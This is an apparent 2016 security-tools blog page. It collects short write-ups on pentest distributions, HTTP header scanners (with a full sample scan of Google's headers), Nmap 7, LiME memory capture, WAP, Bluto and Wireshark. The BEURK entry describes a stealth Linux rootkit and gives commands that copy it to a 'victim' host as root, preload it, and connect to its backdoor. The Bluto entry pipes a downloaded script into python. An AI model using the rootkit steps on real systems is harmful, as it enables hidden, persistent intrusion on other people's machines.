SECURITY EDUCATION, PRIVACY GUIDANCE, THREAT AWARENESS, OPEN SOURCE TOOLS, RESEARCH NOTES, AND RESPONSIBLE TECHNOLOGY CONTENT

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...

Wednesday, January 6, 2016

Hsecscan - A Security Scanner For HTTP Response Headers

hsecscan
A security scanner for HTTP response headers.

Requirements
Python 2.x

Usage
$ ./hsecscan.py 
usage: hsecscan.py [-h] [-P] [-p] [-u URL] [-R] [-U User-Agent]
[-d 'POST data'] [-x PROXY]

A security scanner for HTTP response headers.

optional arguments:
-h, --help show this help message and exit
-P, --database Print the entire response headers database.
-p, --headers Print only the enabled response headers from database.
-u URL, --URL URL The URL to be scanned.
-R, --redirect Print redirect headers.
-U User-Agent, --useragent User-Agent
Set the User-Agent request header (default: hsecscan).
-d 'POST data', --postdata 'POST data'
Set the POST data (between single quotes) otherwise
will be a GET (example: '{ "q":"query string",
"foo":"bar" }').
-x PROXY, --proxy PROXY
Set the proxy server (example: 192.168.1.1:8080).



Example
$ ./hsecscan.py -u https://google.com
>> RESPONSE INFO <<
URL: https://www.google.com.br/?gfe_rd=cr&ei=Qlg_Vu-WHqWX8QeHraH4DQ
Code: 200
Headers:
Date: Sun, 08 Nov 2015 14:12:18 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br
Set-Cookie: NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
Alternate-Protocol: 443:quic,p=1
Alt-Svc: quic="www.google.com:443"; p="1"; ma=600,quic=":443"; p="1"; ma=600
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close


>> RESPONSE HEADERS DETAILS <<
Header Field Name: X-XSS-Protection
Value: 1; mode=block
Reference: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
Security Description: This header enables the Cross-site scripting (XSS) filter built into most recent web browsers. It's usually enabled by default anyway, so the role of this header is to re-enable the filter for this particular website if it was disabled by the user. This header is supported in IE 8+, and in Chrome (not sure which versions). The anti-XSS filter was added in Chrome 4. Its unknown if that version honored this header.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Use "X-XSS-Protection: 1; mode=block" whenever is possible (ref. http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx).
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Set-Cookie
Value: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br, NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
Reference: https://tools.ietf.org/html/rfc6265
Security Description: Cookies have a number of security pitfalls. In particular, cookies encourage developers to rely on ambient authority for authentication, often becoming vulnerable to attacks such as cross-site request forgery. Also, when storing session identifiers in cookies, developers often create session fixation vulnerabilities. Transport-layer encryption, such as that employed in HTTPS, is insufficient to prevent a network attacker from obtaining or altering a victim's cookies because the cookie protocol itself has various vulnerabilities. In addition, by default, cookies do not provide confidentiality or integrity from network attackers, even when used in conjunction with HTTPS.
Security Reference: https://tools.ietf.org/html/rfc6265#section-8
Recommendations: Please at least read these references: https://tools.ietf.org/html/rfc6265#section-8 and https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Cookies.
CWE: CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
CWE URL: https://cwe.mitre.org/data/definitions/614.html

Header Field Name: Accept-Ranges
Value: none
Reference: https://tools.ietf.org/html/rfc7233#section-2.3
Security Description: Unconstrained multiple range requests are susceptible to denial-of-service attacks because the effort required to request many overlapping ranges of the same data is tiny compared to the time, memory, and bandwidth consumed by attempting to serve the requested data in many parts.
Security Reference: https://tools.ietf.org/html/rfc7233#section-6
Recommendations: Servers ought to ignore, coalesce, or reject egregious range requests, such as requests for more than two overlapping ranges or for many small ranges in a single set, particularly when the ranges are requested out of order for no apparent reason.
CWE: CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')
CWE URL: https://cwe.mitre.org/data/definitions/400.html

Header Field Name: Expires
Value: -1
Reference: https://tools.ietf.org/html/rfc7234#section-5.3
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Vary
Value: Accept-Encoding
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.4
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Server
Value: gws
Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Security Description: Overly long and detailed Server field values increase response latency and potentially reveal internal implementation details that might make it (slightly) easier for attackers to find and exploit known security holes.
Security Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Recommendations: An origin server SHOULD NOT generate a Server field containing needlessly fine-grained detail and SHOULD limit the addition of subproducts by third parties.
CWE: CWE-200: Information Exposure
CWE URL: https://cwe.mitre.org/data/definitions/200.html

Header Field Name: Connection
Value: close
Reference: https://tools.ietf.org/html/rfc7230#section-6.1
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Cache-Control
Value: private, max-age=0
Reference: https://tools.ietf.org/html/rfc7234#section-5.2
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation. Because cache contents persist after an HTTP request is complete, an attack on the cache can reveal information long after a user believes that the information has been removed from the network. Therefore, cache contents need to be protected as sensitive information.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: Do not store unnecessarily sensitive information in the cache.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Date
Value: Sun, 08 Nov 2015 14:12:18 GMT
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.1.2
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: P3P
Value: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Reference: http://www.w3.org/TR/P3P11/#syntax_ext
Security Description: While P3P itself does not include security mechanisms, it is intended to be used in conjunction with security tools. Users' personal information should always be protected with reasonable security safeguards in keeping with the sensitivity of the information.
Security Reference: http://www.w3.org/TR/P3P11/#principles_security
Recommendations: -
CWE: -
CWE URL: -

Header Field Name: Content-Type
Value: text/html; charset=ISO-8859-1
Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Security Description: In practice, resource owners do not always properly configure their origin server to provide the correct Content-Type for a given representation, with the result that some clients will examine a payload's content and override the specified type. Clients that do so risk drawing incorrect conclusions, which might expose additional security risks (e.g., "privilege escalation").
Security Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Recommendations: Properly configure their origin server to provide the correct Content-Type for a given representation.
CWE: CWE-430: Deployment of Wrong Handler
CWE URL: https://cwe.mitre.org/data/definitions/430.html

Header Field Name: X-Frame-Options
Value: SAMEORIGIN
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations: In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

>> RESPONSE MISSING HEADERS <<
Header Field Name: Pragma
Reference: https://tools.ietf.org/html/rfc7234#section-5.4
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: The "Pragma" header field allows backwards compatibility with HTTP/1.0 caches, so that clients can specify a "no-cache" request that they will understand (as Cache-Control was not defined until HTTP/1.1). When the Cache-Control header field is also present and understood in a request, Pragma is ignored. Define "Pragma: no-cache" whenever is possible.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Public-Key-Pins
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Public-Key-Pins-Report-Only
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Strict-Transport-Security
Reference: https://tools.ietf.org/html/rfc6797
Security Description: HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect secure HTTPS websites against downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.
Security Reference: https://tools.ietf.org/html/rfc6797
Recommendations: Please at least read this reference: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security.
CWE: CWE-311: Missing Encryption of Sensitive Data
CWE URL: https://cwe.mitre.org/data/definitions/311.html

Header Field Name: Frame-Options
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations: In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

Header Field Name: X-Content-Type-Options
Reference: http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx
Security Description: The only defined value, "nosniff", prevents Internet Explorer and Google Chrome from MIME-sniffing a response away from the declared content-type. This also applies to Google Chrome, when downloading extensions. This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Always use the only defined value, "nosniff".
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-WebKit-CSP
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy-Report-Only
Reference: http://www.w3.org/TR/CSP/
Security Description: Like Content-Security-Policy, but only reports. Useful during implementation, tuning and testing efforts.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html


Share:

Nmap 7 - Security Scanner For Network Exploration & Security Audits



Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for network inventory, managing service upgrade schedules, monitoring host or service uptime, and many other tasks. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

Nmap was named “Security Product of the Year” by Linux Journal, Info World, LinuxQuestions.Org, and Codetalker Digest. It was even featured in nineteen movies and TV series, including The Matrix Reloaded, The Bourne Ultimatum. Girl with the Dragon Tattoo, Dredd, Elysium, and Die Hard 4. Nmap was released to the public in 1997 and has earned the trust of millions of users.

Top 7 Improvements in Nmap 7

Before we get into the detailed changes, here are the top 7 improvements in Nmap 7:
1. Major Nmap Scripting Engine (NSE) Expansion
As the Nmap core has matured, more and more new functionality is developed as part of our NSE subsystem instead. In fact, we've added 171 new scripts and 20 libraries since Nmap 6. Exmaples include firewall-bypass, supermicro-ipmi-conf, oracle-brute-stealth, and ssl-heartbleed. And NSE is now powerful enough that scripts can take on core functions such as host discovery (dns-ip6-arpa-scan), version scanning (ike-version, snmp-info, etc.), and RPC grinding (rpc-grind). There's even a proposal to implement port scanning in NSE. [More Details]

2. Mature IPv6 support
IPv6 scanning improvements were a big item in the Nmap 6 release, but Nmap 7 outdoes them all with full IPv6 support for CIDR-style address ranges, Idle Scan, parallel reverse-DNS, and more NSE script coverage. [More Details]

3. Infrastructure Upgrades
We may be an 18-year-old project, but that doesn't mean we'll stick with old, crumbling infrastructure! The Nmap Project continues to adopt the latest technologies to enhance the development process and serve a growing user base. For example, we converted all of Nmap.Org to SSL to reduce the risk of trojan binaries and reduce snooping in general. We've also been using the Git version control system as a larger part of our workflow and have an official Github mirror of the Nmap Subversion source repository and we encourage code submissions to be made as Github pull requests. We also created an official bug tracker which is also hosted on Github. Tracking bugs and enhancement requests this way has already reduced the number which fall through the cracks. [More Details]

4. Faster Scans
Nmap has continually pushed the speed boundaries of synchronous network scanning for 18 years, and this release is no exception. New Nsock engines give a performance boost to Windows and BSD systems, target reordering prevents a nasty edge case on multihomed systems, and NSE tweaks lead to much faster -sV scans. [More Details]

5. SSL/TLS scanning solution of choice
Transport Layer Security (TLS) and its predecessor, SSL, are the security underpinning of the web, so when big vulnerabilities like Heartbleed, POODLE, and FREAK come calling, Nmap answers with vulnerability detection NSE scripts. The ssl-enum-ciphers script has been entirely revamped to perform fast analysis of TLS deployment problems, and version scanning probes have been tweaked to quickly detect the newest TLS handshake versions. [More Details]

6. Ncat Enhanced
We are excited and proud to announce that Ncat has been adopted by the Red Hat/Fedora family of distributions as the default package to provide the "netcat" and "nc" commands! This cooperation has resulted in a lot of squashed bugs and enhanced compatibility with Netcat's options. Also very exciting is the addition of an embedded Lua interpreter for creating simple, cross-platform daemons and traffic filters.

7. Extreme Portability
Nmap is proudly cross-platform and runs on all sorts of esoteric and archaic systems. But our binary distributions have to be kept up-to-date with the latest popular operating systems. Nmap 7 runs cleanly on Windows 10 all the way back to Windows Vista. By popular request, we even built it to run on Windows XP, though we suggest those users upgrade their systems. Mac OS X is supported from 10.8 Mountain Lion through 10.11 El Capitan. Plus, we updated support for Solaris and AIX. And Linux users—you have it easy.

Share:

GetHead - HTTP Header Analysis Vulnerability Tool


gethead.py is a Python HTTP Header Analysis Vulnerability Tool. It identifies security vulnerabilities and the lack of protection in HTTP Headers.

Usage:
$ python gethead.py http://domain.com

Changelog
Version 0.1 - Initial Release
  • Written in Python 2.7.5
  • Performs HTTP Header Analysis
  • Reports Header Vulnerabilities

Features in Development
Version 0.2 - Next Release (April 2014 Release)
  • Support for git updates
  • Support for Python 3.3
  • Complete Header Analysis
  • Additional Logic for Severity Classifications
  • Rank Vulnerabilities by Severity
  • Export Findings with Description, Impact, Execution, Fix, and References
  • Export with multi-format options (XML, HTML, TXT)

Version 0.3 - Future Release (May 2014 Release)
  • Replay and Inline Upstream Proxy support to import into other tools
  • Scan domains, sub-domains, and multi-services
  • Header Injection and Fuzzing functionality
  • HTTP Header Policy Bypassing
  • Modularize and port to more platforms
    (e.g. gMinor, Kali, Burp Extension, Metasploit, Chrome, Firefox)

Share:

Beurk - Experimental Unix Rootkit

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it

Features
  • Hide attacker files and directories
  • Realtime log cleanup (on utmp/wtmp )
  • Anti process and login detection
  • Bypass unhide, lsof, ps, ldd, netstat analysis
  • Furtive PTY backdoor client

Upcoming features
  • ptrace(2) hooking for anti-debugging
  • libpcap hooking undermines local sniffers
  • PAM backdoor for local privilege escalation

Usage
  • Compile
    git clone https://github.com/unix-thrust/beurk.git
cd beurk
make
  • Install
    scp libselinux.so root@victim.com:/lib/
ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
  • Enjoy !
    ./client.py victim_ip:port # connect with furtive backdoor

Dependencies
The following packages are not required in order to build BEURK at the moment:
  • libpcap - to avoid local sniffing
  • libpam - for local PAM backdoor
  • libssl - for encrypted backdoor connection
Example on debian:
    apt-get install libpcap-dev libpam-dev libssl-dev


Share:

Codetainer - A Docker Container In Your Browser



codetainer allows you to create code 'sandboxes' you can embed in your web applications (think of it like an OSS clone of codepicnic.com ).

Codetainer runs as a webservice and provides APIs to create, view, and attach to the sandbox along with a nifty HTML terminal you can interact with the sandbox in realtime. It uses Docker and its introspection APIs to provide the majority of this functionality.

Codetainer is written in Go. For more information, see the slides from a talk introduction .

Build & Installation

Requirements
  • Docker >=1.8 (required for file upload API)
  • Go >=1.4
  • godep

Building & Installing From Source
# set your $GOPATH
go get github.com/codetainerapp/codetainer
# you may get errors about not compiling due to Asset missing, it's ok. bindata.go needs to be created
# by `go generate` first.
cd $GOPATH/src/github.com/codetainerapp/codetainer
# make install_deps # if you need the dependencies like godep
make
This will create ./bin/codetainer.

Configuring Docker
You must configure Docker to listen on a TCP port.
DOCKER_OPTS="-H tcp://127.0.0.1:4500 -H unix:///var/run/docker.sock"

Configuring codetainer
See ~/.codetainer/config.toml. This file will get auto-generated the first time you run codetainer, please edit defaults as appropriate.
# Docker API server and port
DockerServer = "localhost"
DockerPort = 4500

# Enable TLS support (optional, if you access to Docker API over HTTPS)
# DockerServerUseHttps = true
# Certificate directory path (optional)
# e.g. if you use Docker Machine: "~/.docker/machine/certs"
# DockerCertPath = "/path/to/certs"

# Database path (optional, default is ~/.codetainer/codetainer.db)
# DatabasePath = "/path/to/codetainer.db"

Running an example codetainer
$ sudo docker pull ubuntu:14.04
$ codetainer image register ubuntu:14.04
$ codetainer create ubuntu:14.04 my-codetainer-name
$ codetainer server # to start the API server on port 3000

Embedding a codetainer in your web app
  1. Copy codetainer.js to your webapp.
  2. Include codetainer.js and jquery in your web page. Create a div to house the codetainer terminal iframe (it's #terminal in the example below).
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>lsof tutorial</title>
    <link rel='stylesheet' href='/stylesheets/style.css' />
    <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
    <script src="/javascripts/codetainer.js"></script>
    <script src="/javascripts/lsof.js"></script>
    </head>
    <body>
    <div id="terminal" data-container="YOUR CODETAINER ID HERE">
    </body>
    </html>
  3. Run the javascript to load the codetainer iframe from the codetainer API server (supply data-container as the id of codetainer on the div, or supply codetainer in the constructor options).
 $('#terminal').codetainer({
terminalOnly: false, // set to true to show only a terminal window
url: "http://127.0.0.1:3000", // replace with codetainer server URL
container: "YOUR CONTAINER ID HERE",
width: "100%",
height: "100%",
});


Share:

LiME - Linux Memory Extractor



A Loadable Kernel Module (LKM) which allows for volatile memory acquisition from Linux and Linux-based devices, such as Android. This makes LiME unique as it is the first tool that allows for full memory captures on Android devices. It also minimizes its interaction between user and kernel space processes during acquisition, which allows it to produce memory captures that are more forensically sound than those of other tools designed for Linux memory acquisition.

Features
  • Full Android memory acquisition
  • Acquisition over network interface
  • Minimal process footprint

Usage
Detailed documentation on LiME's usage and internals can be found in the "doc" directory of the project.
LiME utilizes the insmod command to load the module, passing required arguments for its execution.
insmod ./lime.ko "path=<outfile | tcp:<port>> format=<raw|padded|lime> [dio=<0|1>]"

path (required): outfile ~ name of file to write to on local system (SD Card)
tcp:port ~ network port to communicate over

format (required): raw ~ concatenates all System RAM ranges
padded ~ pads all non-System RAM ranges with 0s
lime ~ each range prepended with fixed-size header containing address space info

dio (optional): 1 ~ attempt to enable Direct IO
0 ~ default, do not attempt Direct IO

localhostonly (optional): 1 restricts the tcp to only listen on localhost, 0 binds on all interfaces (default)


Examples
In this example we use adb to load LiME and then start it with acquisition performed over the network
$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"

Now on the host machine, we can establish the connection and acquire memory using netcat
$ nc localhost 4444 > ram.lime
Acquiring to sdcard
# insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"


Share:

WAP - Web Application Protection




WAP is a source code static analysis and data mining tool to detect and correct input validation vulnerabilities in web applications written in PHP (version 4.0 or higher) with a low rate of false positives.

WAP detects and corrects the following vulnerabilities:
  • SQL Injection (SQLI)
  • Cross-site scripting (XSS)
  • Remote File Inclusion (RFI)
  • Local File Inclusion (LFI)
  • Directory Traversal or Path Traversal (DT/PT)
  • Source Code Disclosure (SCD)
  • OS Command Injection (OSCI)
  • PHP Code Injection

This tool semantically analyses the source code. More precisely, it does taint analysis (data-flow analysis) to detect the input validation vulnerabilities. The aim of the taint analysis is to track malicious inputs inserted by entry points ($_GET, $_POST arrays) and to verify if they reach some sensitive sink (PHP functions that can be exploited by malicious input). After the detection, the tool uses data mining to confirm if the vulnerabilities are real or false positives. At the end, the real vulnerabilities are corrected with the insertion of the fixes (small pieces of code) in the source code.
WAP is written in Java language and is constituted by three modules:

  • Code Analyzer: composed by the tree generator and taint analyzer. The tool has integrated a lexer and a parser generated by ANTLR, and based in a grammar and a tree grammar written to PHP language. The tree generator uses the lexer and the parser to build the AST (Abstract Sintatic Tree) to each PHP file. The taint analyzer performs the taint analysis navigating through the AST to detect potentials vulnerabilities.

  • False Positives Predictor: composed by a supervised trained data set with instances classified as being vulnerabilities and false positives and by the Logistic Regression machine learning algorithm. For each potential vulnerability detected by code analyzer, this module collects the presence of the attributes that define a false positive. Then, the Logistic Regression algorithm receives them and classifies the instance as being a false positive or not (real vulnerability).

  • Code Corrector: Each real vulnerability is removed by correction of its source code. This module for the type of vulnerability selects the fix that removes the vulnerability and signalizes the places in the source code where the fix will be inserted. Then, the code is corrected with the insertion of the fixes and new files are created.     

Share:

Bluto - DNS Recon, DNS Zone Transfer, and Email Enumeration



BLUTO DNS recon | Brute forcer | DNS Zone Transfer | Email Enumeration

The target domain is queried for MX and NS records. Sub-domains are passively gathered via NetCraft. The target domain NS records are each queried for potential Zone Transfers. If none of them gives up their spinach, Bluto will brute force subdomains using parallel sub processing on the top 20000 of the 'The Alexa Top 1 Million subdomains'. NetCraft results are presented individually and are then compared to the brute force results, any duplications are removed and particularly interesting results are highlighted.

Bluto now does email address enumeration based on the target domain, currently using Bing and Google search engines. It is configured in such a way to use a random User Agent: on each request and does a country look up to select the fastest Google server in relation to your egress address. Each request closes the connection in an attempt to further avoid captchas, however exsesive lookups will result in captchas (Bluto will warn you if any are identified).

Bluto requires various other dependencies. So to make things as easy as possible, pip is used for the installation. This does mean you will need to have pip installed prior to attempting the Bluto install.

Pip Install Instructions
Note: To test if pip is already installed execute.
  pip -V

(1) Mac and Kali users can simply use the following command to download and install pip.
  curl https://bootstrap.pypa.io/get-pip.py -o - | python

Bluto Install Instructions
(1) Once pip has successfully downloaded and installed, we can install Bluto:
  sudo pip install git+git://github.com/RandomStorm/Bluto

(2) You should now be able to execute 'bluto' from any working directory in any terminal.
  bluto

Upgrade Instructions
(1) The upgrade process is as simple as;
  sudo pip install git+git://github.com/RandomStorm/Bluto --upgrade


Share:

Wireshark v2.0 - The World’s Foremost Network Protocol Analyzer




Wireshark is the world’s foremost network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network. It is the de facto (and often de jure) standard across many industries and educational institutions.

Wireshark development thrives thanks to the contributions of networking experts across the globe. It is the continuation of a project that started in 1998.

Wireshark 2.0.0rc2 has been released. This is the second release candidate for Wireshark 2.0. Installers for Windows, OS X, and source code are now available.
The following features are new (or have been significantly updated) since version 2.0.0rc1:
  • For new installations on UN*X, the directory for user preferences is $HOME/.config/wireshark rather than $HOME/.wireshark. If that directory is absent, preferences will still be found and stored under $HOME/.wireshark.
  • Qt port:
    • The SIP Statistics dialog has been added.
    • You can now create filter expressions from the display filter toolbar.
    • Bugs in the UAT prefererences dialog has been fixed.
  • Several dissector and Qt UI crash bugs have been fixed.
  • Problems with the Mac OS X application bundle have been fixed.
The following features are new (or have been significantly updated) since version 1.99.9:
  • Qt port:
    • The LTE RLC Graph dialog has been added.
    • The LTE MAC Statistics dialog has been added.
    • The LTE RLC Statistics dialog has been added.
    • The IAX2 Analysis dialog has been added.
